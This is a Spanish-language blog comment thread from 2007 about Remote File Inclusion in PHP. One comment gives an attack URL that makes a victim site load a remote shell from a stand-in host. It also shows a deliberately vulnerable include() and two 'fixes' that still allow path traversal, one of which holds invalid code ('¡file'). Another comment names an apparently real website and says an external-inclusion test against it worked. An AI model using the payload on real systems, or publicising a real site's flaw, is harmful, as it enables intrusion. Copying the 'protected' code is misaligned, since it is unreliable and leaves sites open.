7 Respuestas

1. vlascon

   18th August 2007 a las 12:54 pm

   1

   :d Te pasaste wn!, faltaba eso viste :d espero que ahora si quede mas claro…. JAJAJA

   Saludos

2. CPS 2.0

   19th August 2007 a las 5:00 pm

   2

   Estos son ejemplos de programación PHP vulnerable a RFI y protegida:
   El ejemplo no funciona bajo apache protegido por mod_security

   // Para que funcione correctamente la shell se debe poner al final de esta el signo ?, así las variables que se incluyan posteriormente serán parte de ella y no del PHP de la victima

   // URL ejemplo: http://web-victima.com/php?page=http://mi-web.cl/mi_shell.php?

   // Código PHP vulnerable
   < ?PHP
   include($_GET['page']); //esto incluye directamente y sin filtros cualquier link que se especifique en “page”
   ?>

   // Código PHP protegido
   < ?PHP
   $url='./'.$_GET['page']; // o en nibel superior: $url='./paginas/'.$_GET['page'];
   include($url); //esto obliga a que "page" sea parte del dominio, de no encontrar el archivo devolverá un Warning como este:
   //Warning: include() [function.include]: Failed opening '' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/newbie/www/rfi.php on line 3
   // El problema cuando se ve este mensaje, es que indicas al atacante que la inclusión es a la página que le pones en la URL, además se ve una especie de error y no queremos que pase eso.
   ?>

   // Código PHP protegido sin mensajes
   < ?PHP
   $url='./'.$_GET['page']; // o en nibel superior: $url='./paginas/'.$_GET['page'];
   If(¡file($url)){
   $url='./pagina_por_defecto.php';
   }
   include($url); //no devolverá ningún warning y mostrara la información por defecto de nuestra página
   ?>

   Para mas información acerca de las funciones PHP, http://www.php.net

3. MSWINSCK

   20th August 2007 a las 11:30 pm

   3

   UTA LAS WEA MAS WEAS TONTAS JEJEJJEAJEAJ
   SE HACEN LLAMAR HACKERS???????????????????????
   PAGINA DE PRINCIPIANES.

4. vlascon

   21st August 2007 a las 4:12 pm

   4

   MSWINSCK, como te conteste en el post anterior http://www.newbie.cl/nb/2007/08/18/tecnicas-de-sql-injection/#comment-185 Nadie dice que somos Hacker….

   De nuevo Gracias por visitarnos.

5. CPS 2.0

   21st August 2007 a las 4:19 pm

   5

   Estimado MSWINSCK:

   Nuestra pagina web se llama Newbie.cl y no Hacker.cl

   Para mas informacion acerca de estas definiciones puedes visitar http://www.newbie.cl/nb/2007/06/21/hacker-white-hat-entre-otros/

   Salu2

6. GR

   6th December 2007 a las 12:36 pm

   6

   Amigo,

   Una de las formas de probar RFI es intentando colocar http://web-victima.com/php?page=http://www.google.com y si aparece la página de Google dentro del site te indica que es vulnerable. Lo mismo aplica para cuando tenemos casos como http://web-victima.com/id=http://www.google.com?... ¿Cómo evalúo un site a ver si es vulnerable?, puedes poner ejemplos posibles

7. vlascon

   28th December 2007 a las 1:52 pm

   7

   mmm… ejemplo real… ufff… complicado …

   La verdad no se si corresponda pero bueno… el otro dia googleando… encontre este sitio

   http://www.smartel.cl/home.php?nombre_pagina=enlaces.html

   y me llamo la atencion que estaba llamando un archivo .html lo cual lo primero que hice fue probar una ruta externa:

   http://www.smartel.cl/home.php?nombre_pagina=http://www.newbie.cl/index.html

   Sorpresa Funiona!… bueno eso…

   54lud05